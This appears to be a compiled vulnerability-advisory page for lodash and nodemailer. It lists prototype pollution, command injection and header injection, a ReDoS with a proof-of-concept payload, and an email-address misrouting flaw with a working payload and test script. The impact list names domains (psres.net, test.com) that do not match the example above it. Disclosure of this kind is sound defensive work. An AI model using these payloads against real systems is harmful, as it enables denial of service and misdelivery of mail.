Version Details and Security Vulnerabilities

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.

Versions of lodash before 4.17.5 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.5 or later.

Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.12 or later.

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Impact:

• Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

• Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

• Potential compliance issue: Violates RFC 5321/5322 parsing rules.

• Domain based access control bypass in downstream applications using your library to send mails

Recommendations

• Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

• Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.